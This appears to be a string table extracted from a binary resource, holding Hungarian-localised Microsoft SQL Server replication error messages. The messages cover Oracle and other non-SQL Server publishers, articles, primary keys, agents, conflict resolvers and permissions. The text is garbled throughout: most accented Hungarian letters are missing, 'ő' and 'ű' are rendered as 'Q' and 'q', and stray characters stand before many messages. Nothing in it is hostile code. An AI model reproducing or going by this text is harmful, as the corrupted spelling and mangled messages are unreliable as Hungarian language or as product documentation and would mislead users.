tA(z)  %1!s!  cikk @rowcount_only paramterben megadott rtk nem 1. A nem SQL Server-kzztevQk kiadvnyaiban lvQ cikkek esetben csak az 1 az rvnyes rtk ennl a paramternl.

Nem sikerlt vgrehajtani a(z)  %2!s!  Oracle-kzztevQre irnyul HREPL.%1!s! krelmet. EllenQrizze, hogy az Oracle-csomagkd ltezik-e a kzztevQn, s a replikcis rendszergazda felhasznli fikja rendelkezik-e a megfelelQ engedllyel.

@A(z) %1!s! %2!s! adatbzis-kezelQ rendszer (DBMS) nem ltezik. Az msdb.dbo.MSdbms tbla lekrdezsvel ellenQrizze a tmogatott adatbzis-kezelQ rendszert.

0A(z) %1!s! adattpus nem ltezik. Az msdb.dbo.sysdatatypemappings tbla lekrdezsvel ellenQrizze a tmogatott adattpusokat s hozzrendelseket.

PA(z)  %1!s!  adattpus mr ltezik.

8A(z) %1!s! adattpus-hozzrendelse nem ltezik. Az msdb.dbo.sysdatatypemappings tbla lekrdezsvel ellenQrizze az elrhetQ hozzrendelsek listjt.

lA(z) %1!s! adattpus-hozzrendelse mr ltezik.

Az adattpus-hozzrendels nem ltezik. Az msdb.dbo.sysdatatypemappings tbla lekrdezsvel ellenQrizze a hozzrendelsek listjt.

Ez az eljrs nem hajthat vgre SQL Server-kzztevQ esetben. A kzztevQnek nem SQL Server-kzztevQnek kell lennie.

A(z)  %1!s!  cikk @full_or_fast paramtere 0, 1 vagy 2 rtkq lehet.

A(z)  %1!s!  cikk @shutdown_agent paramtere 0 vagy 1 rtkq lehet.

lA nem SQL Server-kzztevQ [%1!s!].[%2!s!] forrsobjektuma nem tallhat vagy nem tmogatott. Ha az objektum ltezik, ellenQrizze, hogy megfelel-e a kzzttel kvetelmnyeinek.

Nem tallhat rvnyes elsQdleges kulcs a(z) [%1!s!].[%2!s!] forrstblhoz. A tbla kzzttelhez rvnyes elsQdleges kulcs szksges. Vegye fel vagy javtsa ki az elsQdleges kulcs defincijt a forrstblban.

|A(z) [%1!s!] index egyedi nullzhat oszlopot tartalmaz.

|A(z) [%1!s!] kulcs egyedi nullzhat oszlopot tartalmaz.

Az indexhez vagy az elsQdleges kulcshoz nem adhat meg tbb, mint %1!s! oszlop, mert ez meghaladja az SQL Server ltal tmogatott maximlis oszlopszmot. A megadott oszlopok szma %2!s!.

hA(z)  %1!s!  index ltrehozsa nem trtnt meg. Ehhez az indexhez legalbb %2!s! bjt hosszsg kulcs tartozik. A SQL Server ltal tmogatott maximlis kulcshossz %3!s! bjt.

A(z)  %1!s!  korltozs ltrehozsa nem trtnt meg, a korltozsban szereplQ egy vagy tbb oszlop nincs kzztve. Vegye fel az sszes oszlopot a kzztett cikkbe, vagy mdostsa a korltozst a nem kzztett oszlopok eltvoltsval.

xA(z) [%1!s!] oszlop nem tehetQ kzz, mert a nem tmogatott [%2!s!] adattpust hasznlja. Az msdb.dbo.sysdatatypemappings tbla lekrdezsvel tekintse meg a tmogatott adattpusokat.

Nem sikerlt csatlakozni a kvetkezQ kiszolglhoz: [%1!s!].

XAz eljrs nem hajthat vgre. Egy nem SQL Server-kzztevQ rendszerfelgyeletre van szksg a trstott SQL Server-terjesztQn. Hajtsa vgre az eljrst a terjesztQn.

A(z)  %1!s!  bejelentkezsi azonostnak nincs megfelelQ jogosultsg a parancs vgrehajtshoz.

A(z) [%1!s!] kzztevQ kapcsolatnak tesztelse sikertelen. EllenQrizze a hitelestsi adatokat.

Nem lehet frissteni a(z) [%2!s!] bejelentkezsi azonosthoz tartoz csatolt [%1!s!] kiszolglt.

Egy tblhoz nem adhat meg tbb, mint %1!s! index. A megadott indexek szma %2!s!. A felesleges indexek figyelmen kvl lettek hagyva.

A heterogn  %1!s!  elQfizetQ nem tudott elQfizetst felvenni a heterogn  %2!s!  kiadvnyhoz, mert a kiadvny szinkronizlsi mdszere nem  character ,  concurrent_c  vagy  database snapshot character  bellts.

A heterogn  %1!s!  kzztevQ nem definilhat elQfizetQknt.

A(z)  %1!s!  paramter csak akkor llthat be  %2!s!  rtkqre, ha a(z)  %3!s!  rtke  %4!s! .

A trskzi kiadvnyok csak a(z)  %1!s!  paramterrtket tmogatjk a kvetkezQnl: %2!s!.

A terjesztsi gynk nem tudta frissteni a gyorsttrban lvQ naplsorszmokat a kvetkezQk esetben. Originator: %1!s!, OriginatorDB: %2!s!, OriginatorDBVersion: %3!s!, OriginatorPublicationID: %4!s!. lltsa le s indtsa jra a terjesztsi gynkt. Ha a problma tartsan fennll, forduljon az gyfl-tmogatsi szolglathoz.

Az aktulis  %1!s!  felhasznlnak nincs rvnyesen hozzrendelt bejelentkezsi azonostja egy csatolt kiszolglhoz a nem SQL Server [%2!s!] kzztevQ elrshez. A replikci csatolt kiszolgln keresztl csatlakozik a kzztevQhz. Az sp_addlinkedsrvlogin trolt eljrs hasznlatval rendelje hozz a felhasznl bejelentkezsi adatait a csatolt kiszolglhoz.

,A(z) [%1!s!].[%2!s!] tbla nem tehetQ kzz. A tbla kzzttelhez a replikcis rendszergazda szmra explicit SELECT engedly, illetve a PUBLIC engedlyen keresztl megadott SELECT engedly szksges. A szerepkralap SELECT engedly nem elegendQ, ha ilyen van megadva.

Nem lehet ellenQrizni a(z) %1!s! Oracle-kzztevQ rendszergazdai bejelentkezsi engedlyt. EllenQrizze a kapcsolati adatokat, s ellenQrizze, hogy egy eszkz, pldul az SQL*PLUS segdprogram hasznlatval tud-e csatlakozni a kzztevQhz.

dA(z)  %1!s!  Oracle-kzztevQ replikcis rendszergazdjnak nincs megfelelQ engedlye. A szksges engedlyeket az /MSSQL/Install/oracleadmin.sql parancsprogramban tallja.

A(z)  %2!s!  Oracle-kzztevQ  %1!s!  Oracle-smaszqrQjre vonatkoz krelem sikertelen.

A(z)  %1!s!  mqvelet rvnytelen. Az rvnyes mqveletek a  hozzads , az  eldobs  s a  sg .

A smaszqrQk csak az Oracle-kzztevQk esetben tmogatottak. A(z)  %1!s!  kzztevQ  %2!s!  tpus.

TAz aktulis  %1!s!  bejelentkezsi azonost nem szerepel egyetlen kiadvny hozzfrsi listjn sem a(z)  %2!s!  kzztevQnl. Hasznljon olyan bejelentkezsi azonostt, amely szerepel a kiadvny-hozzfrsi listn, vagy vegye fel a bejelentkezsi azonostt a kiadvny-hozzfrsi listra.

A @schema paramter NULL rtke rvnytelen a smaszqrQk hozzadsi s eldobsi mqveletei esetben.

Nem sikerlt parancsprogrammal vgrehajtani a(z)  %2!s!  kiadvnyban lvQ  %1!s!  cikk elQfizetQi trolt eljrsait.

A(z) %1!s! nem lehet null rtkq vagy res, ha a(z) %2!s! rtke 0 (SQL Server-hitelests). Adjon meg egy bejelentkezsi azonostt, vagy lltsa 1 rtkqre (Windows-hitelests) a biztonsgi zemmdot.

A trolt eljrs csak az Oracle-kzztevQkre vonatkozik. A(z)  %1!s!  kzztevQ %2!s! tpus.

`A(z)  %1!s!  paramter mr nem tmogatott.

hMicrosoft SQL Server Additive Conflict Resolver

lMicrosoft SQL Server Averaging Conflict Resolver

Microsoft SQL Server DATETIME (Earlier Wins) Conflict Resolver

Microsoft SQL Server DATETIME (Later Wins) Conflict Resolver

tMicrosoft SQL Server Download Only Conflict Resolver

hMicrosoft SQL Server Maximum Conflict Resolver

|Microsoft SQL Server Merge Text Columns Conflict Resolver

hMicrosoft SQL Server Minimum Conflict Resolver

dMicrosoft SQL Server Priority Column Resolver

Microsoft SQL Server Subscriber Always Wins Conflict Resolver

pMicrosoft SQL Server Upload Only Conflict Resolver

\Microsoft SQLServer trolteljrs-felold

HNem lehet bejegyezni a(z) %1!s! cikkfeloldt. Ez akkor fordulhat elQ, ha az SQL Server futtatshoz hasznlt fiknak nincs hozzfrse a terjesztsi adatbzishoz. Vegye fel kzzel az osztlyazonostt s az egyni felold nevt a terjesztsi adatbzis MSmerge_articleresolver tbljba.

A cikkfelold neve nem lehet res karakterlnc vagy NULL rtkq. Adjon meg rvnyes rtket a @article_resolver paramterhez.

<COM-felold esetben a @resolver_clsid paramter nem lehet res karakterlnc vagy NULL rtkq. Adjon meg rvnyes rtket a @resolver_clsid paramterhez.

xNem tallhat a @dynamic_snapshot_jobid vagy a @dynamic_snapshot_jobname paramterhez megadott azonostnak vagy nvnek megfelelQ feladat. EllenQrizze a paramterek megadott rtkt.

Nem sikerlt felvenni egy kiterjesztett esemnyindtt a(z)  %1!s!  esemny repliklshoz.

A(z)  %1!s!  eljrs @pubid paramternek megadott rtk rvnytelen vagy NULL. EllenQrizze, hogy megfelelQen fut-e az egyestsi gynk. Ha a problma tartsan fennll, inicializlja jbl az elQfizetst.

\A nzet nem vltoztathat meg. Tblaknt repliklt indexelt nzet nem mdosthat nem indexelt nzetre. Dobja el a nzetet a kiadvnybl, mielQtt megprbln mdostani.

<Nem lehet vgrehajtani a repliklsi mqveletet. Az aktulis felhasznl biztonsgi ellenQrzse hibt jelez. Csak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr, illetve a db_owner vagy a db_ddladmin rgztett adatbzis-szerepkr tagjai hajthatjk vgre ezt az zenetet.

A cikk csak akkor tmogatja a logikai rekordok szinttkzsnek szlelst, ha hasznlja a logikai rekordok tkzsfeloldst.

A @keep_partition_changes tulajdonsg nem llthat  true  rtkqre. Ennek az az oka, hogy a @publication_compatibility_level tulajdonsg a 90RTM vagy ennl magasabb rtkre van belltva, s a @use_partition_groups tulajdonsg a  true  rtkre van belltva. lltson be alacsonyabb kompatibilitsi rtket, vagy lltsa  false  rtkqre a @use_partition_groups tulajdonsgot.

\A(z)  %1!s!  tbla nem repliklhat, mert nem pontos elsQdlegeskulcs-oszlopot tartalmaz. Hozza ltre jbl a tblt a  persisted  zradk nlkl, s prblja meg jbl.

Explicit nv nlkl nem lehet korltozst vagy alaprtket felvenni, mert a tbla olyan kiadvnyban szerepel, amely DDL-esemnyeket replikl. Adjon meg egyedi nevet a korltozsnak, majd hajtsa vgre jbl a DDL-utastst.

Ha DTS-csomagokat (Data Transformation Services) hasznl a replikciban, olyan jelszt kell megadnia, amely nem NULL vagy res rtkq. Adjon meg rvnyes rtket a(z)  %1!s!  paramterhez.

Nem lehet megnyitni a(z) %1!s! adatbzist. A replikcis %2!s! frisstst nem sikerlt vgrehajtani. Hajtsa vgre jbl a(z) %3!s! futtatst a(z) %4!s! adatbzisbl, amikor a(z) %5!s! mr elrhetQ.

XA trskzi kiadvnyok nem tmogatjk az idQblyegzQ-oszlopok repliklst varbinary(8) tpusknt. Nem vehet fel cikket ezzel a belltssal, s nem vehet fel ilyen oszlopot tartalmaz tblt, illetve nem vltoztathatja meg a tblkat gy, hogy varbinary(8) tpus idQblyegzQ-oszlopot vesz fel.

A(z) [%1!s!].[%2!s!] forrsobjektum ideiglenes objektum, ezrt nem tehetQ kzz.

Nem lehet ms tblaterletre thelyezni a cikkek napltbljt. EllenQrizze, hogy a replikcis rendszergazda bejelentkezsi azonostjval lehet-e csatlakozni az Oracle-kzztevQhz az SQL*PLUS segdprogrambl. Ha sikerl csatlakozni, de a problma tartsan fennll, valsznqleg nem megfelelQ az engedly, vagy nincs elegendQ hely a tblaterleten. Keresse meg az Oracle-hibazeneteket.

A(z)  %1!s!  tulajdonsg nem rvnyes a kvetkezQ kzztevQkhz:  %2!s! .

A(z)  %1!s!  tulajdonsg nem rvnyes a kvetkezQ kiadvnyokhoz: %2!s!.

\A(z)  %1!s!  tulajdonsg nem vltoztathat meg. ElQbb az sp_articleview trolt eljrs meghvsval inicializlnia kell cikket, azutn mr mdosthatja a tulajdonsgot.

A(z)  %1!s!  Oracle-elQfizetQ nem tallhat. A visszacsatols tmogatsa nem ellenQrizhetQ.

hNem lehet lekrni a terjesztQ adatait a(z)  %1!s!  Oracle-kzztevQtQl. A ktirny kzzttelhez az Oracle-kzztevQnek mr lteznie kell az Oracle-elQfizetQ megadsa elQtt.

lAz Oracle-kzztevQ neve  %1!s! , az Oracle-elQfizetQ neve  %2!s! . A ktirny Oracle-kzzttelhez az Oracle-kzztevQnek s az Oracle-elQfizetQnek azonos nevqnek kell lennie.

Nem lehet lekrni a kezdemnyezQ adatait a(z)  %1!s!  Oracle-kzztevQtQl.

A ktirny Oracle-kzzttelhez a(z)  %1!s!  paramternek  %2!s!  rtkqnek kell lennie.

Nem lehet ltrehozni szqrQnzetet vagy eljrst. EllenQrizze, hogy az sp_addarticle trolt eljrs @filter_clause paramternek rtke felvehetQ-e a SELECT utasts WHERE zradkba rvnyes lekrdezs ltrehozshoz.

A(z)  %1!s!  karakterhosszsga nem lehet nagyobb, mint %2!s!.

Nem lehet kapcsolatot ltrehozni a(z)  %1!s!  Oracle-kzztevQhz. EllenQrizze a kapcsolati adatokat, s ellenQrizze, hogy egy eszkz, pldul az SQL*PLUS segdprogram hasznlatval tud-e csatlakozni a kzztevQhz.

@A cikk el lett dobva a terjesztQn, de a(z)  %1!s!  kzztevQn lvQ adatok nem lettek eldobva. Nincs teendQ. Az adatok trlQdnek a kzztevQ eldobsa utn.

A kzztevQ el lett dobva a terjesztQn, de a(z)  %1!s!  kzztevQn lvQ adatok nem lettek eldobva. Csatlakozzon az Oracle-kzztevQhz az SQL*PLUS segdprogram hasznlatval, s dobja el a replikcis rendszergazdt.

,A(z) %1!s! tblnak nincs elsQdleges kulcsa. A tranzakcis replikcihoz elsQdleges kulcs szksges. Hozzon ltre elsQdleges kulcsot a tblban.

LA(z) %1!s! nzetet nem lehet kzztenni tblaknt, mert nincs egyedi frtztt indexe. Tegye kzz nzetknt a nzetet, vagy vegyen fel egyedi frtztt indexet.

Az aktulis %1!s! felhasznlnak nincs SELECT engedlye a(z) %2!s! tblban. A felhasznlnak SELECT engedllyel kell rendelkeznie ahhoz, hogy sorokat krjen azon az elQfizetQn, amelyhez frisstsek tartoznak a vrakozsi sorban.

Az sp_getqueuedrows trolt eljrs @tablename paramterben megadott %1!s! tbla nem rsze a vrakozsi sorban lvQ aktv, inicializlt elQfizetsek egyiknek sem. EllenQrizze a vrakozsi sorba helyezett elQfizetsek helyessgt a pillanatkp-kezelQ gynk, a terjesztsi gynk s a vrakozsisor-olvas gynk futtatsval.

4A feldolgozs megszakadt. Az sp_getqueuedrows trolt eljrs eredmnykszletnek mrete meghaladja az eljrs ltal visszaadhat maximlis mretet (16000). Az eljrs jbli vgrehajtsa elQtt a vrakozsisor-olvas gynk futtatsval rtse ki a vrakozsi sort a kzztevQn.

Nem sikerlt rendszerobjektumknt megjellni a kvetkezQt:  %1!s! .

DA cikk belltsai alapjn a(z) %1!s! tblnak tartalmaznia kellene azonost oszlopot, de nincs ilyen oszlopa. Az sp_helparticle trolt eljrs hasznlatval ellenQrizze a cikk belltsait, s ha szksges, az sp_changearticle trolt eljrs hasznlatval mdostsa a belltsokat.

Az elQfizets csak olvashat. Az adott elQfizetssel szinkronizlt kiadvny engedlyezi a frisstst az elQfizetQn, de a  read-only  rtk van megadva az sp_addsubscription trolt eljrs @update_mode paramterhez. A frissts engedlyezshez el kell dobnia, majd jbl ltre kell hoznia az elQfizetst gy, hogy ms rtket ad meg a @update_mode paramterhez.

Nem tallhat rvnyes vrakozsisor-olvas gynk a kvetkezQ kzztevQ elQfizetshez: %1!s! (adatbzis: %2!s!, kiadvny: %3!s!). Nincs inicializlva a megadott elQfizets, amely egy frissts alatt ll elQfizetQi kiadvnyra vonatkozik. Az elQfizets inicializlshoz futtassa a pillanatkp-kezelQ gynkt, a terjesztsi gynkt s a vrakozsisor-olvas gynkt.

A(z)  %1!s!  oszlopot nem lehet felvenni a kvetkezQ tblba:  %2!s! . A tbla mr tartalmaz az egyestsi kiadvnyok cikkeiben engedlyezett maximlis oszlopszmnak (246) megfelelQ szm oszlopot.

Nem lehet vgrehajtani a replikcis parancsprogramot a  master  adatbzisban. Az aktulis munkamenet befejezQdik. A parancsprogramot a terjesztsi adatbzisban kell vgrehajtani, s a fQadatbzis nem tltheti be a terjesztsi adatbzis szerept.

tNem lehet vgrehajtani a replikcis parancsprogramot. Az aktulis munkamenet befejezQdik. EllenQrizze az SQL Server ltal a parancsprogram vgrehajtsa kzben visszaadott hibkat.

A Message Queuing szolgltats nem fut. Indtsa el a szolgltatst, s prblja jbl elvgezni a mqveletet.

TNem lehet ltrehozni a kiadvnyt. A @queue_type paramter  msmq  rtke csak Microsoft Windows NT platformokon tmogatott. Adja meg az  sql  rtket a paramterhez.

A(z) %1!s! tbla tartalmaz egy azonost oszlopot, amely nem repliklandknt van megjellve, de az sp_addarticle trolt eljrs @identitymanagementoption paramtere  none  rtkq. Az azonnali frisstst vgrehajt elQfizetsek tmogatshoz a @identitymanagementoption paramterhez adja meg  manual  vagy az  auto  rtket.

Amikor tvoli terjesztQre vonatkozan hajtja vgre az sp_adddistributor trolt eljrst, jelszt kell hasznlnia. A @password paramterhez megadott jelsznak azonosnak kell lennie a kzztevQn s a terjesztQn vgrehajtott eljrsban.

A(z) %1!s! a tmogatott tartomnyon (%2!s! %3!s!) kvl esik.

A(z)  %1!s!  tulajdonsg esetben a @force_invalidate_snapshot s a @force_reinit_subscription paramternek  true  rtkqnek kell lennie.

0Ez az eljrs csak a nem SQL Server-kzztevQk esetben tmogatott. A(z)  %1!s!  kzztevQ, amelyen az eljrst vgrehajtja, SQL Server-kzztevQ.

Nem sikerlt ltrehozni az oszlop bitkpt a kvetkezQ cikkhez:  %1!s! .

Nem sikerlt ltrehozni a kzztett oszlop bitkpt a kvetkezQ cikkhez:  %1!s! .

Nem sikerlt ltrehozni a cikknzet nevt a kvetkezQ cikkhez:  %1!s! .

Nem lehet kzztevQ objektumokat felvenni a(z)  %1!s!  cikk Oracle-kzztevQjbe. EllenQrizze a kapcsolati adatokat, s ellenQrizze, hogy egy eszkz, pldul az SQL*PLUS segdprogram hasznlatval tud-e csatlakozni a kzztevQhz. EllenQrizze, hogy a replikcis rendszergazda smja rendelkezik-e a szksges engedllyel.

8A nem SQL Server-kzztevQbQl hinyzik egy vagy tbb %1!s! objektum. Dobja el s hozza ltre jbl a kzztevQt s a replikcis rendszergazda smjt.

Nem lehet lekrni a heterogn metaadatokat. EllenQrizze a kapcsolati adatokat.

Nem lehet felvenni a(z)  %1!s!  elsQdlegeskulcs-oszlopot a(z)  %2!s!  cikkbe. Ha a kzztevQ nem SQL Server-kzztevQ, az elsQdleges kulcs valsznqleg megsrtette az SQL Server oszlopok szmra s hosszsgra vonatkoz korltozsait. Tovbbi tjkoztatst az sp_addarticle trolt eljrs ltal visszaadott hibkban tall.

Nem lehet felvenni a kzztevQ esemnyindtit s a cikk napltbljt a(z)  %1!s!  cikk Oracle-kzztevQjbe. EllenQrizze a kapcsolati adatokat, s ellenQrizze, hogy egy eszkz, pldul az SQL*PLUS segdprogram hasznlatval tud-e csatlakozni a kzztevQhz. EllenQrizze, hogy a replikcis rendszergazda smja rendelkezik-e a szksges engedllyel.

|A @rowfilter paramterhez nem NULL rtket kell megadnia.

Nem sikerlt lekrdezni az Oracle XactSet feladat attribtumait a kvetkezQ kzztevQ szmra:  %1!s! .

Nem sikerlt frissteni a kvetkezQ kzztevQ Oracle XactSet feladatt:  %1!s! .

Nem sikerlt lekrdezni az Oracle Xact ktegels engedlyezsnek jelzQjt a kvetkezQ kzztevQ szmra:  %1!s! .

dAz sp_IHSetXactBatching trolt eljrsnak tadott paramter rvnytelen. Az Xact ktegels engedlyezst, illetve tiltst megad bitjelzQnek 0-nak vagy 1-nek kell lennie.

Nem sikerlt belltani az Oracle Xact ktegels engedlyezsnek jelzQjt a kvetkezQ kzztevQ szmra:  %1!s! .

Nem lehet kzztenni a(z)  %1!s!.%2!s!  tblt a(z)  %3!s!  kzztevQbQl. EllenQrizze a kapcsolati adatokat, s ellenQrizze, hogy egy eszkz, pldul az SQL*PLUS segdprogram hasznlatval tud-e csatlakozni a kzztevQhz. EllenQrizze, hogy a replikcis rendszergazda smja rendelkezik-e a szksges engedllyel.

A(z)  %1!s!.%2!s!  tbla mr szerepel egy tranzakcis kiadvnyban a(z)  %3!s!  Oracle Gateway-kzztevQn. Az  Oracle Gateway  bellts hasznlata esetn a tranzakcis repliklssal kzztett tblk csak egy kiadvnyba vehetQk fel. Ha a tblt tbb kiadvnyban szeretn kzztenni, mdostania kell az Oracle-kzztevQ konfigurcijt az  Oracle Complete  bellts megadsval.

A(z)  %1!s!.%2!s!  tbla mr szerepel a(z)  %3!s!  tranzakcis kiadvnyban a kvetkezQ kzztevQn:  %4!s! . Az alaprtelmezett  Oracle Gateway  kzztteli belltssal a tblk tetszQleges szm pillanatkp-kiadvnyban, de csak egy tranzakcis kiadvnyban tehetQk kzz cikkekknt. Ha a tblt tbb tranzakcis kiadvnyban szeretn kzztenni, hasznlja az  Oracle Complete  kzztteli belltst. A kzztteli belltsok mdostshoz el kell dobnia s jbl be kell lltania a kzztevQt.

A nem SQL Server-kzztevQk csak az SQL Server Enterprise s Developer kiadsban tmogatottak. A jelen pldny kiadsa %1!s!.

A @propertyname paramterhez megadott rtk rvnytelen. Hasznlja a kvetkezQ rtkek egyikt: %1!s!.

A(z) %1!s! tulajdonsghoz megadott rtk rvnytelen. Hasznlja a kvetkezQ rtkek egyikt: %2!s!.

Az  xactsetjobinterval  tulajdonsg rtknek 0-nak vagy annl nagyobbnak kell lennie.

8Nem lehet ltrehozni az gynk feladatt. A(z)  %1!s!  bejelentkezsi azonostnak rvnyes Windows bejelentkezsi azonostnak kell lennie, s a kvetkezQ formtumban kell megadni:  GP\Bejelentkezsi_nv  vagy  TARTOMNY\Bejelentkezsi_nv . Lsd a(z)  %2!s!  dokumentcijt.

Nem lehet vgrehajtani a replikcis rendszergazdai feladatot. A folytats elQtt fel kell venni az gynk  %1!s!  feladatt a(z)  %2!s!  hasznlatval. Lsd a(z)  %3!s!  dokumentcijt.

Nem tallhat a(z) %1!s! kzztevQ (adatbzis: %3!s!, kiadvny: %4!s!) %2!s! gynke. Hozza ltre az gynkt a megfelelQ eljrs hasznlatval: sp_addpublication_snapshot, sp_addlogreader_agent vagy sp_addqreader_agent.

`Az ltalnos ltrehozsi vzjel rvnytelen ennl a msodpldnynl, mert a msodpldny nem ltezik, vagy a mg nem rvnyestett vltoztatsok metaadatai trlve lettek.

Az sp_createagentparameter trolt eljrs nem tudott felvenni egy vagy tbb paramtert az msdb.dbo.MSagentparameterlist rendszertblba. EllenQrizze az sp_createagentparameter trolt eljrs ltal visszaadott hibkat, valamint az SQL Server ltal az sp_createagentparameter eljrs vgrehajtsa kzben visszaadott hibkat.

pAz gynkprofil ltrehozsi folyamata nem tudja rvnyesteni a megadott gynkparamter rtkt. A kvetkezQ rtk nem rvnyes a(z)  %2!s!  paramter szmra:  %1!s! . Az rtknek egsz szmnak kell lennie, amely nem nagyobb, mint  %3!s! . GyQzQdjn meg arrl, hogy a replikci megfelelQen van teleptve.

Nem lehet frissteni az gynk paramternek metaadatait. A replikci nem tudta beszrni a(z)  %1!s!  paramtert a(z)  %2!s!  tblba. EllenQrizze, hogy megfelelQen van-e teleptve a replikcis szolgltats. EllenQrizze az SQL Server ltal az sp_createagentparameter eljrs vgrehajtsa kzben visszaadott hibkat.

8Az sp_getagentparameterlist trolt eljrs @agent_type paramterhez megadott  %1!s!  rtk rvnytelen. Adjon meg rvnyes rtket: 1, 2, 3, 4 vagy 9.

Az gynkprofil ltrehozsi folyamata nem tudja rvnyesteni a megadott gynkparamter rtkt. A kvetkezQ rtk nem rvnyes a(z)  %2!s!  paramter szmra:  %1!s! . Az rtknek egsz szmnak kell lennie. GyQzQdjn meg arrl, hogy a replikci megfelelQen van teleptve, s hogy az sp_add_agent_parameter trolt eljrst rvnyes rtkkel hvjk meg.

@Az gynkprofil-ltrehozsi folyamat nem tudta rvnyesteni az gynk paramternek megadott rtkt: az profile_id paramterben megadott %1!s! azonost nem ltezik, vagy nem tmogatja a(z) %2!s! paramtert. Az rtknek egsz szmnak kell lennie. EllenQrizze, hogy megfelelQen van-e teleptve a replikcis szolgltats, s hogy az sp_add_agent_parameter trolt eljrs meghvsa rvnyes rtkkel trtnt-e.

A .NET-szerelvnyek zletilogikai-kezelQjnek @resolver_clsid paramtert NULL rtkqknt kell megadni.

A .NET-szerelvnyek zletilogika-kezelQjnek @resolver_info paramterben a(z)  %1!s!  ltal tartalmazott osztlynvnek kell szerepelnie, amely megvalstja a Microsoft.SqlServer.Replication.BusinessLogicSupport.BusinessLogicModule felletet.

Azonost oszlop csak a  Not For Replication  zradkkal kzztett tblba vehetQ fel.

A(z)  %1!s!  oszlop nem dobhat el, mert a replikci hasznlja azt: a(z)  %2!s!  cikk hivatkozik r egy szqrQben vagy nzetben. Az oszlop eldobshoz elQbb el kell tvoltania a szqrQt a cikkbQl.

A  Disable Trigger All  mqvelet nem hajthat vgre a(z) %1!s! tblban, mert az olyan kiadvnyhoz tartozik, amely tmogatja a frissthetQ elQfizetseket (a replikci esemnyindtkat ad hozz az ilyen tpus kiadvnyok tblihoz). A felhasznli esemnyindtkat azonban letilthatja kzzel. Adja meg a letiltani kvnt felhasznli esemnyindt nevt.

A(z) %1!s! esemnyindt nem tilthat le a(z) %2!s! tblban, mert a frissthetQ kiadvny hasznlja.

A DDL-replikci nem tudta frissteni az egyni eljrsokat. Futtassa a kvetkezQ utastst:  exec sp_register_custom_scripting 'CUSTOM_SCRIPT', your_script, '%1!s!', '%2!s!'  . Ezutn prblja meg jbl.

A repliklt  %1!s!  objektum nem vltoztathat meg  with encrypted  belltsra.

A(z)  %1!s!  paramterhez megadott rtk rvnytelen. A tulajdonsg megvltoztatsakor az rtknek a kvetkezQnek kell lennie:  %2!s! .

A(z)  %1!s!  tulajdonsg csak a lehvsos elQfizetsek esetben rvnyes.

,A(z)  %1!s!  tulajdonsg nem vltoztathat meg. Ez a tulajdonsg csak az olyan elQfizetsek esetben rvnyes, amelyek engedlyezik a frisstst az elQfizetQnl. Az elQfizets, amelyre vonatkozan az eljrs hvsa trtnt, nem engedlyezi a frisstseket az elQfizetQnl.

Nem lehet rni a pillanatkpek mappjban tallhat parancsprogramba a terjesztQn (%1!s!). EllenQrizze, hogy van-e elegendQ szabad lemezterlet. EllenQrizze azt is, hogy a pillanatkp-kezelQ gynk futtatshoz hasznlt fiknak van-e megfelelQ engedlye a pillanatkpeket trol mappba s annak almappiba trtnQ rshoz.

Adja meg az egyiket a kvetkezQ paramterek kzl: %1!s! vagy %2!s!.

Mr ltezik a bejegyzs, ezrt nem hajthat vgre a(z) %1!s! mqvelet a kvetkezQn: %2!s!.

A bejegyzs nem ltezik, ezrt nem hajthat vgre a(z) %1!s! mqvelet a kvetkezQn: %2!s!.

pNem lehet korltozsokat felvenni tbb oszlopba, mert a(z) %1!s! tbla kzz van tve, de a(z) %2!s! oszlop nem szerepel minden aktv partciban. Hasznljon kln DDL-utastst.

PNem lehet korltozsokat eldobni abban a DDL-utastsban, amely oszlopokat dob el a(z) %1!s! tblbl, mert a tbla kzz van tve. Hasznljon kln DDL-utastst.

,A(z)  %1!s!  tulajdonsg csak a(z) %2!s! tpus elQfizetsekhez rvnyes. Hasznlja a(z)  %3!s!  tulajdonsgot a(z) %4!s! tpus elQfizetsekhez.

A kvetkezQ paramterek elavultak, a tovbbiakban nem hasznlhatk: %1!s!. Tovbbi tjkoztatst a(z)  %2!s!  dokumentcijban tall.

Nem tallhat a jobstep_uid (%1!s!) azonosthoz tartoz proxyfik.

dA schema_option 0x4 belltst (a parancsprogram-azonostt azonostknt az alapadattpus helyett) nem adhatja meg a kvetkezQ cikkhez:  %1!s! . A @identityrangemanagementoption paramterhez a NONE rtk van megadva. Az azonost azonostknti repliklshoz a MANUAL vagy az AUTO rtket kell hasznlni az olyan kiadvnyok esetben, amelyek nem tmogatjk az elQfizetseknek a vrakozsi sor hasznlatval trtnQ frisstst.

A(z) %1!s! mr ltezik. A(z)  %2!s!  hasznlatval mdostsa a belltsokat, illetve a tulajdonsgokat.

Csak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr tagjai hajthatjk vgre a mqveletet a(z) %1!s! megadsa nlkl.

Hiba trtnt egy nyomkvetsi esemny ltrehozsa kzben a(z)  %1!s!  Oracle-kzztevQn. A nyomkvetsi esemnyt nem sikerlt elkldeni.

A(z)  %1!s!.%2!s!  tbla elsQdleges kulcsa %3!s! oszlopot tartalmaz. Az SQL Server legfeljebb %4!s! oszlop hasznlatt tmogatja. Definilja jbl az elsQdleges kulcsot gy, hogy ne tartalmazzon az engedlyezett szmnl tbb oszlopot.

A(z)  %1!s!.%2!s!  elsQdleges kulcs indexe legalbb %3!s! bjt hosszsg. Az SQL Server ltal tmogatott maximlis kulcshosszsg %4!s! bjt. Cskkentse az elsQdleges kulcs oszlopainak szmt, vagy definilja jra az oszlopokat kisebb adattpus hasznlatval.

A terjesztsi gynknek egyelQfizetses adatfolyammdban kell futnia az xact_seqno elQfizets visszalltsa elQtt.

Ehhez az elQfizetshez mr van feladata (%1!s!) a replikcis gynknek.

A kvetkezQ paramterek elavultt vltak az eljrsban: %1!s!. Az rtkeket meg kell adni a(z)  %2!s!  hvsakor.

@A(z)  %1!s!  cikk nem tmogatja a schema_option 0x20 vagy 0x2000000000 belltst, mert szmtott oszlopot, ellenQrzQ vagy alaprtelmezett korltozst, illetve CLR-beli tpus oszlopon alapul elsQdleges kulcsot tartalmaz. Mdostsa a @schema_option belltst, s prblja meg jra.

`Nem vehetQ fel CLR-beli tpuson alapul szmtott oszlop vagy ellenQrzQ korltozs a(z)  %1!s!  tblba, mert a(z)  %2!s!  cikk a schema_option 0x20 belltst tmogatja.

A(z) %1!s! nem adhat meg, illetve nem mdosthat a heterogn kiadvnyok esetben, ha a(z) %2!s! belltsa %3!s!.

